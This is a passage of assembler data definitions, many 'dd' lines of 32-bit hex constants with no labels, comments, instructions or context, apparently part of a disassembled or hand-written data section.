		dd 44FEEFh, 7E6BA91Ah, 711411A1h, 193913Ah, 8DB9BE8Eh
		dd 8FD8A44Dh, 0AE6C00D0h, 126F0780h, 7C00DDC6h,	1B370DC0h
		dd 7D3576CCh, 6B24004Ch, 8CFF9F97h, 8E0307C2h, 9298964Dh
		dd 0F44076D3h, 0D00C009Eh, 15A7C2Bh, 0D70E3611h, 0C0A54362h
		dd 0A3BEAE58h, 7FBD00FFh, 710B8EB8h, 0FD008693h, 5094C76Ch
		dd 2CD2276Dh, 0D58C722Bh, 818D00D4h, 94D86D4Fh,	0C9002EC8h
		dd 3C7C7795h, 0E472EFD5h, 400D20F2h, 11745300h,	8B9B1C55h
		dd 7F89004Eh, 6D49BAB9h, 60E28FBDh, 8080B63Eh, 2FCD0C78h
		dd 102B228h, 6DE30886h,	0C73B6943h, 320697A8h, 0ED5A8901h
		dd 93A10B8Bh, 2DD2E8h, 284B85ABh, 3BEFBA17h, 0C03F4E4h
		dd 435CFC19h, 6E14B067h, 0F9F00BEh, 0C8AA4B8Bh,	91008E0Bh
		dd 5D6CFC8Ah, 7C6B5379h, 32280259h, 0E8612F4h, 1078ACC1h
		dd 0E08D8F17h, 4AC04B8Ch, 0DF04E824h, 0A43B00FDh, 8C76B6E7h
		dd 57EFE500h, 4F8D0B98h, 2B495AE8h, 0C3DE802Ch,	395C82h
		dd 0DC94F99h, 570858B7h, 0AD8DCB10h, 4D913B0h, 0E9011A7Ch
		dd 7FE3E517h, 78F195F5h, 0C446F011h, 87001C8Fh,	724B57EBh
		dd 36BE977h, 0B3D61056h, 0DDB0A296h, 0E6003903h, 0AB595F30h
		dd 179C18A8h, 0C1CAA97Eh, 0DC225D24h, 809D9915h, 0D90DE8E8h
		dd 0A497173Ah, 6528886Bh, 44A5B600h, 0B73D2009h, 0A8F12994h
		dd 29DB901Ch, 0AF0F9CD1h, 0CAC641F5h, 0A0C8336Ch, 0D8E30032h
		dd 735F4C24h, 0BE08AAB0h, 40039C19h, 3268F208h,	0C7DD6106h
		dd 0BE09669Eh, 0E9A887C0h, 22075E68h, 825BB14Fh, 9D7180D9h
		dd 8C777ABEh, 70310F6Ch, 0DCA0EFEBh, 156B42Dh, 0AA12B000h
		dd 75E71AA4h, 0C0E64ACAh, 9F1E2D04h, 0D66700F7h, 0D88B1003h
		dd 574D081Fh, 76D4012Ah, 0FDF4A7BAh, 13E9E081h,	8AB96760h
		dd 95A35C91h, 9D9302Fh,	2A21807Ch, 4965C98h, 5EA4098Eh
		dd 70D0FC39h, 0E4524D3Dh, 94E98288h, 3F233E00h,	0CD3A59EFh
		dd 18288130h, 24392C03h, 0BB141C40h, 91A7A300h,	0CDBEEFA2h
		dd 74839A4Ah, 0DA213C32h, 0FF82A88Fh, 0D86F00B2h, 5526EAC6h
		dd 0A317AF00h, 1120C5A9h, 0CC229FE9h, 0E92F6AB2h, 8014F1F6h
		dd 5BF49030h, 0DD036F4Ch, 0A54D25B3h, 99B801EEh, 0FF981A09h
		dd 10D4F6B0h, 0FE551F03h, 282012E5h, 21ACB4B4h,	0D5824D12h
		dd 418098B4h, 467440A5h, 0F960D196h, 6BBC1098h,	6E4D049Bh
		dd 0FCFA787Ah, 0FDD3C140h, 33002059h, 0E9F94AAEh, 0F615F11Fh
		dd 670780D4h, 7DA12F5Dh, 385832BEh, 637278C1h, 0B1E918DBh
		dd 213CB98Eh, 0D0A07Dh,	5F4A2A03h, 55FDB264h, 0C9583260h
		dd 284E5698h, 4B94014Dh, 0AD208866h, 7A971884h,	91FA6162h
		dd 0E4996B29h, 31CC1900h, 6B2F227h, 0AB1DEC56h,	0E360085Eh
		dd 2739EB21h, 89D6000Ah, 0AB31B4EDh, 0B8AAB64Dh, 8A180F2h
		dd 0E9D183Bh, 0BFA293A8h, 802EC830h, 0C4A894E0h, 4D099C25h
		dd 0D06B636Fh, 52927530h, 330250BBh, 46B2F827h,	0A510D731h
		dd 291F273Bh, 0E7D821D1h, 0FA5EA299h, 83B0A2D6h, 742D8EB0h
		dd 8ED30B1h, 0FF7469B9h, 370E28F8h, 0A5CDD2A9h,	9C407967h
		dd 1F7C694Ch, 88704CC7h, 0EAC5EF83h, 3047DED0h,	0FB21D090h
		dd 5C0A1B6h, 40800899h,	0D7AB8E1Ch, 40C0F9D2h, 0A3578B47h
		dd 0B0710578h, 0A83099EDh, 21D300A4h, 29596717h, 79EC9180h
		dd 13E1875h, 0B41C4327h, 0F8EE48E7h, 0A21230ABh, 38492C66h
		dd 0E288F201h, 0BE3700B5h, 1B094D65h, 8A00DAA2h, 0CA359DADh
		dd 1C98E8ACh, 8961AEB1h, 60DB9FF6h, 0B4009792h,	47CDC1BAh
		dd 0D7485160h, 0C8C0002Bh, 7935AA07h, 0CE2D5D7Ah, 0C6C840BBh
		dd 80174820h, 3BB1F706h, 0EF46E8E6h, 9D5C9307h,	6FC43822h
		dd 43BA5F5Ch, 3718983Bh, 4D6BC8D0h, 0A42A8103h,	0E6D4937Dh
		dd 5EB90498h, 9075A69Eh, 2421F5C8h, 169AAA80h, 4BDAD19h
		dd 1ECC140h, 999EE369h,	44422C25h, 27323098h, 5EB2F111h
		dd 0BDE188h, 9E2C273Ah,	9B7664h, 99BDD641h, 0A4C9A668h
		dd 0E53D561Ah, 605C5C68h, 1DEDB2DEh, 0C0984561h, 22FCB7FEh
		dd 9EAF2C28h, 0A74A478h, 81ACEC07h, 2431DE9Fh, 0F2E42292h
		dd 0BD7430E2h, 8B7ED802h, 7E99AB34h, 2F30402Ch,	0FF007A1Dh
		dd 0A05C03C8h, 0A98501Ch, 38F65976h, 80EA91D4h,	21A25C8Eh
		dd 71448CA4h, 5C990029h, 21269EFFh, 6413876Eh, 64B1AAB6h
		dd 0FA160030h, 218C9804h, 0C2933BAh, 0F023EA03h, 19BFF03Ch
		dd 0CCB396h, 613468F8h,	4486C80Dh, 0EF008ACFh, 0A98F2168h
		dd 0EA7123DFh, 0E5110FC5h, 0B5122C86h, 18C0308Ch, 0A552108h
		dd 296424C9h, 1875D148h, 44C00310h, 496272FCh, 5FE1D698h
		dd 0C352AE12h, 0F5B17C02h, 33DC680Dh, 46C49869h, 273402BAh
		dd 314EB2F7h, 3CA610D8h, 0B0790527h, 902391FDh,	0C013D62Ch
		dd 0A32B60C1h, 7874404Ah, 0BF7500F9h, 208A6C64h, 0D450EA4Dh
		dd 0D49B3870h, 8EA7A207h, 0DB389734h, 76A89903h, 40F31279h
		dd 8CF090F1h, 9C153C90h, 8890B422h, 0BB2B8072h,	8641625Ch
		dd 0C8A40C2Ch, 2C2D2E08h, 0CBE56098h, 4400F340h, 1CDD996Dh
		dd 82F29Ah, 18AABC24h, 0E959882Eh, 0FF1070FDh, 0A04C8107h
		dd 6E41FB28h, 0C715771h, 2410ACh, 773AA3F3h, 0E9025B93h
		dd 9C8E8D3Fh, 0A18460B6h, 0FC8080E8h, 0D323A407h, 901ADE7Dh
		dd 9E603C44h, 0A22392A8h, 3511B7h, 0B3A895DFh, 15E50Ch
		dd 417C60B0h, 860D9990h, 62FA9174h, 0A8B6E93Bh,	0AC3CD487h
		dd 25345892h, 9DFCC2FDh, 94711138h, 3460493h, 34806F99h
		dd 88D36BEEh, 0A8034D1h, 602B6419h, 5C8F60EBh, 0BC2123A1h
		dd 797D11h, 42185C96h, 2FE7CCBAh, 5E166098h, 0A821E285h
		dd 5828DEF6h, 3C90C68Eh, 0D49724BEh, 3568F7C0h,	70054661h
		dd 1EE8D88h, 0B70A4268h, 495FA3C8h, 0B38E84BCh,	948298BEh
		dd 273530BDh, 76B2F617h, 0A75838h, 646D273Dh, 83595598h
		dd 0C98F0ACh, 3EABBC3Dh, 64418EEBh, 33CF3Ch, 2D71E6DCh
		dd 95ED2725h, 33E938E1h, 0C8222E14h, 28F99A08h,	0A5382024h
		dd 318268A0h, 908BE980h, 7ACD0350h, 2D81F6A3h, 67E59900h
		dd 0C0794688h, 0CAD739ACh, 2B330202h, 584090F9h, 83001914h
		dd 0A2C96830h, 0A5BFBE27h, 61FDE4A8h, 806430DBh, 159924C9h
		dd 81E165Dh, 2FC09718h,	43B2F427h, 37E98326h, 975A827h
		dd 93C0017Ah, 16A66160h, 80016BBFh, 0DCE6BEEDh,	25D4A860h
		dd 0BC0E7FB8h, 16E90031h, 0D019AEFCh, 701E0FD4h, 0ED064B46h
		dd 18A1398Eh, 4F3189Bh,	0E5613168h, 21FB32C7h, 0F868EAA9h
		dd 5B2DAE2Dh, 32886802h, 0D18E00C7h, 68D8085h, 800B951h
		dd 1E13A548h, 4CD9C00Ch, 0A907D1E9h, 718F3B38h,	93C8399Bh
		dd 2440C9B1h, 32A1735Fh
		dd 15A42458h, 0E57E081Ch, 132CEB00h, 12AEF411h,	4140725h
		dd 244010h, 0C1BB7EE8h,	0E5E700C7h, 0C25947F4h,	24099492h
		dd 46D94E6Ch, 0BA3A58F8h, 602AFC4Ch, 233F1584h,	0D54E0825h
		dd 585CECE4h, 0C4BEC0D8h, 4B4C781h, 0C1DC7D68h,	7118011h
		dd 4A02C0F0h, 6F4D3AAh,	477CF40Ah, 8F5FC7EFh, 1498F0F6h
		dd 6CA049h, 0AAFE519Ch,	1E4F35Bh, 22F5BE47h, 5FDF95Fh
		dd 0B101FC00h, 2C416B2Bh, 302F399Ch, 544EB4F1h,	0D3D44500h
		dd 7075D7B7h, 0E6C401FAh, 16848717h, 6AA841E1h,	208421A0h
		dd 0DA6103DCh, 54D801C9h, 0E808831h, 9A581512h,	42078155h
		dd 0F46C4F6Bh, 0F18F99D1h, 0CF8C844h, 0A8037501h, 6A7D20C0h
		dd 501A3856h, 4650C4C6h, 64942EECh, 7426211Dh, 274070C4h
		dd 0F3585C97h, 0B0941800h, 36CB88F2h, 1B5E34A3h, 25C000E9h
		dd 89C2AC4Dh, 3A1060FFh, 0A7A4168Ch, 33E8F190h,	2F2210h
		dd 41A89BD9h, 4AA15155h, 442BFA2Dh, 0CE1D1018h,	3F2848D0h
		dd 10BFC0CDh, 1338E7Ah,	8FEC189Ah, 1C29CE78h, 20151DC2h
		dd 82F86F00h, 1B50123h,	5134132Fh, 1443194h, 31F6A4BCh
		dd 1C40530h, 0F18EB478h, 742828A0h, 0EE5D4013h,	0A8800C9Bh
		dd 609BC03Fh, 96D3DE3Fh, 0A43EFA0Ah, 38003623h,	3BFFDDB5h
		dd 0AF04052Bh, 0FD13018Ah, 0D579001Ch, 0F7CF23ADh, 0C9A20503h
		dd 601595EFh, 0D5744D0h, 0D3A4CD50h, 21A4181Ch,	0A97A4D4Bh
		dd 0E4546538h, 0CBD2612Dh, 0EED886CAh, 19A42C49h, 11CE1808h
		dd 0B114AFFFh, 8490A0E3h, 34907713h, 707608h, 7882EA18h
		dd 41B063C1h, 0D600BFB0h, 2A434D47h, 0BA936CFh,	37A828CCh
		dd 0DC9B7058h, 0D232978h, 0A012725Fh, 46A88C49h, 2D76B9E1h
		dd 0B4CBCF1Dh, 66822ED7h, 7C70AB5Fh, 90212D4Ah,	0C0DA8B68h
		dd 843266F8h, 1B9AED22h, 0F1319BE3h, 0A4CC21E1h, 92024419h
		dd 50C64117h, 793CB948h, 7C61832h, 14772AA4h, 0C7947593h
		dd 0F1E7B69Ch, 0A4EA1B05h, 60A0AD56h, 80681C4Ah, 0D448BC62h
		dd 18C31E8h, 0AF753A0h,	6056A3DCh, 0E64A39B3h, 3623106Bh
		dd 0E55CD303h, 681EC0D1h, 12A27A55h, 40F1F5B0h,	719AC9E0h
		dd 0E72F4144h, 26A8E4F8h, 6F35A4h, 729E83D3h, 132C1668h
		dd 0A382105Bh, 0E6246F20h, 91405A54h, 0EC779910h, 0C0148F8h
		dd 0B8046729h, 25E04541h, 9C8E17D2h, 6D60207Eh,	6BE59EE3h
		dd 65923009h, 60DFC44Ch, 4C017Bh, 89BE416Dh, 10DAFC9Ch
		dd 34C1C200h, 0DBD65E9Ah, 4509466h, 227491Dh, 502EAE61h
		dd 7E832F5Ch, 0DA72A448h, 699CC40h, 9DE402FDh, 0AB7071CFh
		dd 762AF302h, 494A3E89h, 942D8130h, 23D76300h, 0E0A7F348h
		dd 2E4F4900h, 853FA11Ah, 0AA660078h, 0D2EBF0A3h, 4460F9EDh
		dd 0ABF48F88h, 5BCD0454h, 5E1E2Ch, 0AC7C696Ah, 3C460A34h
		dd 169461A6h, 9114B078h, 0DD70A8BBh, 0D7F1002Dh, 61DC85ADh
		dd 1BDCE9Eh, 8DFDC92Ch,	0E360057Eh, 14B0229Ch, 0E614A055h
		dd 0EAFB7B43h, 0C6F1006Bh, 0EEF3222Ah, 0B01CB48h, 0F58781C9h
		dd 0F4D84A03h, 0E9C32612h, 60EE4424h, 259E5C92h, 3096C421h
		dd 5CBD2D00h, 138FDFA6h, 61F70B20h, 30D83AB6h, 891DB30Ch
		dd 576A843h, 7521A380h,	46C958Eh, 17D5392Ch, 20E2B8E1h
		dd 27A5EDB3h, 0E19810BFh, 0E0889EFCh, 95B193EDh, 72C94CF2h
		dd 0E850EB81h, 1BC8D79h, 581D59A3h, 778E1478h, 4D6905DCh
		dd 0D6C0C4C7h, 2C4A9A9Ch, 9FB0DA76h, 4CD690AEh,	8CBA454h
		dd 0EEC03088h, 0F0BB7732h, 70E550A6h, 2F2520FDh, 589E6500h
		dd 0C6200651h, 9C3716EAh, 0A24801F7h, 72CFF156h, 0AAFF0058h
		dd 3CDE0FB7h, 36992D1Dh, 0FBC204A0h, 0C4956933h, 0F3F9039Ch
		dd 47029DFEh, 65ACC0AFh, 4CB0A9C7h, 0FAD02ED8h,	36EA00C5h
		dd 6E4C617Fh, 0AB0B7910h, 66E4A64Dh, 41C080D8h,	0BE4A80F9h
		dd 1B951925h, 3368E8C4h, 0C8152161h, 8B00D291h,	0A56968F0h
		dd 0FDFCECB0h, 757C3600h, 3F60135h, 74521555h, 1C01C8D8h
		dd 0A302B543h, 0EAB44868h, 0BE303F05h, 0C8B91398h, 0F8F29C06h
		dd 282F74C6h, 32F82F66h, 0FD3C6802h, 42CF631h, 0C01D186Eh
		dd 0F5D0FAA8h, 18220130h, 0C0DB8158h, 0EF022539h, 1C00856Dh
		dd 8EBA712Eh, 0B9AD942h, 0B1CE3052h, 98E98480h,	2CB05831h
		dd 694C4480h, 4B147B01h, 9A969E5Fh, 8C217C21h, 273030DAh
		dd 2EB2F312h, 0EEAF838h, 98862738h, 0B003BDA2h,	908B9987h
		dd 3144842Bh, 2190AA48h, 0A91505D9h, 0FE24F42Eh, 163E189Eh
		dd 1C8025F5h, 98AA9E0Bh, 402AF941h, 7AA1376Ch, 0C091D5BAh
		dd 64E5D108h, 9D1523E0h, 10E8A054h, 3D1CC082h, 72450FDh
		dd 7D5C8369h, 132D27B0h, 0D20D8016h, 2BCC4486h,	5059253Eh
		dd 42958E58h, 709CD370h, 0E203EA12h, 2F66347h, 9D781011h
		dd 0E040B2E7h, 862F0E48h, 0A1A0920h, 0A27EAE5Fh, 2331086Ch
		dd 3C24401Dh, 58BF2E8Eh, 143D2F8Ch, 0F835E53Bh,	784F730Bh
		dd 0E1918C22h, 0E3B13CA5h, 30E4E208h, 0C701A7C5h, 0FDB07B2Ah
		dd 0B4523CADh, 3F6EE39Eh, 0BCD829A8h, 8CE2F8h, 80F68FCCh
		dd 0F770D5E1h, 8066AE25h, 7DEDABF4h, 0E770C22Ch, 0D0792BD9h
		dd 4A18D2D1h, 379F0A00h, 0E480027Ch, 28C1131Ch,	87801F75h
		dd 5465253Fh, 88A8CF9Fh, 38CA31h, 2438F876h, 0F940615Fh
		dd 7868003Bh, 0AF0130F5h, 8892A53Eh, 0D4CB694Ah, 82C1FBC8h
		dd 282C21ACh, 20B88E80h, 0BE017FF3h, 8360E0DBh,	9C30E664h
		dd 97A81811h, 5EBAE827h, 0C894DA76h, 267C465Eh,	8217FC8Dh
		dd 903D8B4h, 0E330D25Ah, 0E4112076h, 8B815D00h,	74411101h
		dd 0E9AEA60Bh, 7D304094h, 0FFCD40B2h, 12B98000h, 220F2AA2h
		dd 835800C7h, 15B25BF7h, 0F0923721h, 7C02B0C9h,	0DC2E808Ch
		dd 7D2B729h, 0F13A8125h, 0EB660048h, 0DA53B3D9h, 690AA000h
		dd 0B84D024Ah, 672F0460h, 0A8C443D6h, 44E49270h, 1EE54482h
		dd 0C84A2704h, 4C10C14h, 2D029692h, 0C9309357h,	0B710D982h
		dd 6004631h, 5DF270A6h,	0C20C7Fh, 0CE298927h, 8F8EBDCBh
		dd 0D7EAC490h, 0F244CCBEh, 0DF9A8240h, 130FA62h, 0AE6161F4h
		dd 4A892E2h, 0F6361DB1h, 8C98C7DCh, 18C419E9h, 6D28F4B4h
		dd 685CFEEDh, 92E465Eh,	8E42AE41h, 42D9E848h, 542AE91Eh
		dd 0F402C63Eh, 0ED613068h, 0A610D531h, 0D10068EBh, 0AF8E2540h
		dd 5F0891Eh, 54D4AAFBh,	5FC80534h, 10F8E2BFh, 0C0642CD2h
		dd 0A7A16037h, 9FA2238Fh, 0DC093011h, 0EE80A898h, 6E5E0FF1h
		dd 8A25B016h, 0AC774081h, 0B678842Fh, 0E806E398h, 0F7414BB9h
		dd 8053199Dh, 9A4A7C2Eh, 3E3DE2B3h, 6269001Eh, 2D5C350Dh
		dd 0C08500A5h, 437A7301h, 0BE0F279Ah, 10C50D1h,	9FB2B65Fh
		dd 2FD43064h, 0DC0ED0E3h, 0FA09D7E8h, 90B8CB12h, 26FEBCh
		dd 0D3B4649h, 74F4AAE2h, 14EA3900h, 5B2125E9h, 6DF5162Ah
		dd 5460271Eh, 0B8AC01A3h, 56E6A5E0h, 1CF8A598h,	32DE0300h
		dd 7411C61Ah, 15A80ADDh, 2D984B05h, 8199E88Eh, 0E698901Fh
		dd 376BA401h, 3D2FA5E3h, 4B88790Ch, 0DB140274h,	0A1522DB1h
		dd 0E55A2440h, 13A2B788h, 0A89BD64Ch, 4E2C0BB8h, 205880CEh
		dd 3366A428h, 21A0E34Dh, 812CFEA9h, 3E5EA638h, 0D3F03A83h
		dd 0A3F43117h, 13DCEA58h, 0EC98A0B8h, 0ADED25B0h, 636150E1h
		dd 0F5AF0448h, 94E8C557h, 0A28A20DBh, 0F0C060Bh, 2494B2D8h
		dd 0D4C47C1h, 41A978ABh, 792BE64Ch, 0E8B02EE4h,	2CEDA912h
		dd 40E20112h, 387F5678h
		dd 9E00F478h, 0F90CEA32h, 13BCB8AAh, 0AC819573h, 0A0CC8174h
		dd 0A9D8B202h, 506E00FBh, 0C3DD0FF2h, 0B500AB15h, 69EC6F38h
		dd 12E88AFAh, 37E17275h, 60714DC8h, 99407A7Ch, 691510A9h
		dd 0A8A8622Bh, 0D95084C1h, 0A7964841h, 632DD4F8h, 0C9602395h
		dd 2A76DF21h, 0C0E711F8h, 204D18D8h, 581EAB1h, 0C3CB65BEh
		dd 4D902831h, 0B04E5345h, 5EC03388h, 12B72AE4h,	463875Fh
		dd 0A42EFE38h, 0DEF2D00h, 0EAC620D2h, 0D64C2E27h, 2009B258h
		dd 35D7D3AAh, 1278B890h, 949457EFh, 23A03248h, 5F91973Ch
		dd 4C22B85h, 0FAA0EB2Fh, 45BC1BD6h, 0C425232Dh,	79625481h
		dd 38F13041h, 9079C44Bh, 0C42E25CCh, 0E2912C1Dh, 0A860F580h
		dd 17019AB8h, 0C5595F2Bh, 2A3E1020h, 2E2213Ch, 0D8AE4D1Fh
		dd 0FD20D4DAh, 552500D7h, 0CB897C24h, 2F311898h, 0D3395890h
		dd 0E7315C11h, 569E5FB0h, 0DCE1774Ah, 6504CC63h, 0F8364FB6h
		dd 228BC264h, 44245D75h, 20A982h, 0BB09A147h, 3BE463A3h
		dd 4382AB40h, 0C9E754AAh, 2D79B0D1h, 1CCA4019h,	8158281Fh
		dd 0FF3780D0h, 0F406ACh, 0E40B8E0Dh, 5510C143h,	0A4293100h
		dd 1877845Dh, 622491A1h, 7CC71DC0h, 0DC60CEC4h,	70921F2h
		dd 841C8102h, 50E0ED42h, 4BCEE70h, 0A2F0CFACh, 0D3A88249h
		dd 2A489058h, 0B8414FA8h, 0E98D7E4Ah, 42CC442Ah, 282C162Eh
		dd 10C68827h, 0E8B5B626h, 192F1D09h, 0C1810D44h, 86056E4Ch
		dd 582F2A4Ah, 0C109CF23h, 27DA0029h, 168C1823h,	64FA4921h
		dd 202CD0B8h, 0C101D43Bh, 940DDEACh, 0E9E985DAh, 69004833h
		dd 0DF2E4CA6h, 0CE00BD0Bh, 0FC640A0Dh, 4E2AEA70h, 59B80CF1h
		dd 0C8000F39h, 0BE63822Bh, 0C07A1298h, 20D030B9h, 5F002474h
		dd 16C0B2E6h, 1696B906h, 60C7DEA1h, 871099ACh, 0E830C648h
		dd 47778C34h, 1DE1E601h, 0C98E2EA0h, 2DBCA06Ch,	0A4C82C8Ch
		dd 652163C8h, 97E0F0F4h, 0C0C22A4Ah, 5E4C01DEh,	0E88C6535h
		dd 0D8141689h, 1283EB7h, 905A48B6h, 8FD423CDh, 71764Ch
		dd 0EB333B44h, 62BC6F99h, 1240375Dh, 0F029B18h,	6256AEFEh
		dd 4A40C4E0h, 4378F49Fh, 649D98ACh, 0B0C6E8C0h,	0AFCB48B1h
		dd 727E1Ch, 3A3DA0Bh, 8000FAE3h, 0BB251EC5h, 0C7927516h
		dd 96B0FFD1h, 0C10CFA64h, 18D6BA52h, 22F8B803h,	0FF001E66h
		dd 2299E0AAh, 1963B9Ch,	8F3198EAh, 0E03CFB28h, 3000A0F3h
		dd 0BE2FA290h, 324D0E8h, 0FE844D25h, 0AEE0CB88h, 70BC08BDh
		dd 849B1816h, 0F00BB987h, 0ECA43127h, 621B8A07h, 88176891h
		dd 0EB98FAE0h, 0E3211778h, 7388C84Ah, 0F314BC00h, 7C9DE02Bh
		dd 0E9127C56h, 1CC4EBF4h, 444BAEEAh, 0BC8F4A8Bh, 556E00E4h
		dd 0AA8E8CE9h, 68CE0AB1h, 4968DA6Ch, 0D64148D6h, 0B5E07E32h
		dd 9C60037h, 98B4590Bh,	5F163A1Bh, 0D849A2AEh, 6A1C02A1h
		dd 7EA600E4h, 281F9D1h,	2A00647Dh, 0BB279BECh, 0EA0003D8h
		dd 1FA090DBh, 8C35A3h, 9FB0704Dh, 0B31ABE49h, 81B11527h
		dd 66B6E7E0h, 5B74003Bh, 0B0E9963Ah, 0D094B928h, 52370F00h
		dd 0F18E7D83h, 5F4D049Bh, 0B84A5A6Fh, 0D59C8028h, 23A6D7h
		dd 0A81E55D4h, 7A68B1E4h, 6E2FCD07h, 9F30B245h,	0BEDAEFAh
		dd 6CC9563Fh, 9826DC02h, 1D9D8078h, 0C0D5119Ch,	4931AEA1h
		dd 39F005F1h, 88A7E3E8h, 74941410h, 50980E80h, 0A0AE51Ch
		dd 0D14156A2h, 0E13002A0h, 0B4A117CEh, 0C00863B1h, 700C7AAh
		dd 37EAC5ECh, 0E780D0E7h, 36A23C23h, 3BC0F30h, 0ED16B7D5h
		dd 8D0E2A6h, 0A2094C82h, 823A296Ah, 5E016C18h, 0AE37818Ch
		dd 0D3C0E97Fh, 0EDB290F0h, 6FA5EEA0h, 8E3CA801h, 0C9B5649Eh
		dd 2C5E9824h, 94D84EB6h, 0E3C2B0AFh, 287229A8h,	100CB94Ch
		dd 0B8406612h, 76A61A5Eh, 0F046F9C4h, 33A0E319h, 52D99C39h
		dd 0F3C8412Ah, 3240693Dh, 2EFC0050h, 18D89592h,	0EEF27Dh
		dd 73090DD2h, 0DAC26716h, 58012A02h, 90E72CEAh,	28F48FECh
		dd 5638EDB0h, 0F9E0FCBEh, 0F400DAE4h, 0C516537Ch, 3AD8E89Ah
		dd 572D41Ch, 0DA4359CDh, 99F09291h, 3A68F530h, 2246612Fh
		dd 0ECA70BFDh, 7870E368h, 8CC497h, 0D33CB833h, 119B735Fh
		dd 88B3760Fh, 0AB41195Dh, 24B967F8h, 9B81964h, 4C09466Eh
		dd 0FAC9F4C8h, 34C5A34Bh, 57D0841Eh, 0D1A28043h, 600530h
		dd 333F1473h, 71FDB069h, 0B491464Fh, 0E0287023h, 2A4E84h
		dd 1D209BF9h, 0E82750D6h, 0B58A7BF2h, 14D238B9h, 8C709C3Ah
		dd 58E79B00h, 5147EACFh, 332514AEh, 0D4E87456h,	1BA4008Ch
		dd 34473BABh, 211727D7h, 20C0DA1Dh, 0A4022903h,	349D00DCh
		dd 0E2536815h, 8D03C698h, 0D9228960h, 17E5C818h, 0DC3D2D4Fh
		dd 3430A4E1h, 0C520ED84h, 787AA02Bh, 8B18D64Eh,	0C0D6C870h
		dd 0AA2015FBh, 0A9689A0Bh, 0F8B0185Bh, 0DD87178Ah, 0C4A600B5h
		dd 7E9FC1FBh, 733B8F05h, 0F4A4A928h, 1F6330A3h,	2956A439h
		dd 0C008D85Fh, 0A5DF01E9h, 36B93D0Dh, 0B3FAF098h, 0D23A1DDCh
		dd 6B3940B5h, 34A48131h, 0C593F427h, 60E1E460h,	0B1AC380h
		dd 8DBBAAF2h, 8B911502h, 3DC087Ch, 891E6EADh, 0F000A33Ch
		dd 919A9FC8h, 4D9E61D4h, 0D30BD46Ah, 0E8C47D25h, 456E423Dh
		dd 0D888600Ah, 0F5B310C0h, 0B50492A9h, 6D818491h, 0D7F0078h
		dd 65313EB5h, 14A404E1h, 0A599E32Fh, 3A20D4CCh,	8430F32Fh
		dd 24544B94h, 8CE1E8h, 1690FD39h, 6950DD76h, 0D78222h
		dd 342C4BD2h, 0A3578AA8h, 22D69400h, 85353AA7h,	28080059h
		dd 4D8BFA4Eh, 0ED248F69h, 0A8029790h, 591AC915h, 5A631118h
		dd 9780209Bh, 0D210CBC2h, 29D61305h, 0C402B2E2h, 2AD8A3DAh
		dd 8602D6A0h, 9EE11A62h, 0AD10D4B2h, 8BC38C4h, 75FB465Eh
		dd 0B2B59D02h, 0DC26C515h, 0FD6980A8h, 6A2B5FE9h, 0A35A68B8h
		dd 0C007CCB2h, 3080C450h, 0AAFE3E99h, 0E522A52Dh, 607DE470h
		dd 26DBBA44h, 1FC4275Bh, 0B0132215h, 0AC80B925h, 138A925Fh
		dd 3E19C602h, 0FB23BCh,	0D289887Ah, 97F1EDh, 0CD086ECCh
		dd 303AE163h, 9AC11CA4h, 82EA2525h, 6462A3D4h, 57440B38h
		dd 0E4C8FE31h, 6081DAC6h, 0CE4AA078h, 0C07CC8D0h, 0F7B51340h
		dd 0B8D09149h, 0D2A824EDh, 0DEF4895Ch, 4AD038DBh, 90405EF5h
		dd 0D23A77Ch, 0B3D5BE2Eh, 9F697E00h, 7F9AA2BBh,	0BA1B0018h
		dd 0D3AA2FA3h, 671E43ABh, 4A4B2A91h, 468844CEh,	0A79F023Dh
		dd 598FA295h, 96DE6044h, 88091AA8h, 0FA42035Fh,	0F7700350h
		dd 0AC338063h, 0A06CBE0h, 9B019C7Ch, 76C0F2B6h,	9720690Ch
		dd 0D86C9FFCh, 914017BDh, 0A92687E4h, 7168494Fh, 7FC700D8h
		dd 0BEF5F8D6h, 0F3451D0Ch, 4CEAE20Ch, 19C86C26h, 780FC693h
		dd 44E47228h, 0E3DB0510h, 564CC54Dh, 2B810D94h,	80A87830h
		dd 0C5ABC8A8h, 572500FEh, 0D24A6CF7h, 0D43A7E20h, 0D650FD22h
		dd 40C828B4h, 6C4480ECh, 47756E4Ch, 0D172573h, 24CE30C3h
		dd 28C03188h, 77DEA6C1h, 244448F5h, 8C70E8h, 0D430E345h
		dd 99AFCCB2h, 704B59FAh, 416D58CCh, 8E5808CFh, 0B7CB3C2Fh
		dd 998307B4h, 967A20A7h, 0D09D4A3h, 40C2AE5Fh, 5AEDD3E0h
		dd 9998A0D9h, 559BCB2Ch, 271AD604h, 0E92DA4C1h,	294563Eh
		dd 0AA011C80h, 61031CD4h, 971CBD6h, 89ED2528h, 7CEACC42h
		dd 4D78827Dh, 704902FEh, 0B49CEC72h, 938200DCh,	3EA7F88Bh
		dd 7671A97Bh, 96C58002h, 6301A24Fh, 0FF301E26h,	0E09798AEh
		dd 0E609D2A9h, 0D96B6728h, 1872F114h, 9A79016Dh, 1D211C15h
		dd 68016ABEh, 0E81223A4h
		dd 0D4F2C033h, 43F45631h, 63930258h, 0DFD2BB69h, 6444047Dh
		dd 5AB65F40h, 0D1D3D37Ah, 9F2710E0h, 0C84A9000h, 1C740F99h
		dd 0A48AFA04h, 895D1B4Bh, 8C19493Dh, 24C76A60h,	20B55EC5h
		dd 0D1C8600Fh, 37520FC1h, 906074C5h, 7E991C38h,	0B14E82A6h
		dd 0A4F42BF4h, 27D465Eh, 0AF01D823h, 264F8D2h, 9EF9CB3Dh
		dd 84826DC6h, 5440B0B2h, 13882D72h, 3882273Bh, 8CFCE029h
		dd 0C1DD9CB9h, 0B5745005h, 0FE10A0FCh, 10F32CC8h, 1013E712h
		dd 62200CB4h, 8B34C035h, 1FEA9080h, 217C9607h, 0A812F411h
		dd 992E2002h, 0B08EE671h, 29F00B73h, 0D80E5C44h, 171257D2h
		dd 72C108C0h, 1C49EDAh,	0E36C439Ch, 1CE4799Eh, 0C3E7FD29h
		dd 96D8101Ch, 0B2B10262h, 12BA141h, 7C357EA2h, 30E70144h
		dd 9CED2D20h, 0A7DDC850h, 0C14D7D7Eh, 9E7299B8h, 3770ACE3h
		dd 192B0105h, 0FAB25CE3h, 0BDD0A330h, 0D4062C09h, 5562F031h
		dd 6030CB99h, 0D3F0E758h, 23703A70h, 17980034h,	7F719D62h
		dd 668A420Bh, 6D8625Bh,	25B16CEFh, 0F4527521h, 3999F012h
		dd 0F00A900Bh, 30A22640h, 3D61170h, 4FEA6D83h, 5D0F988Fh
		dd 0B5CD0B35h, 0DCECFC9Ch, 71FDB313h, 1EF8B0B0h, 0C0208C28h
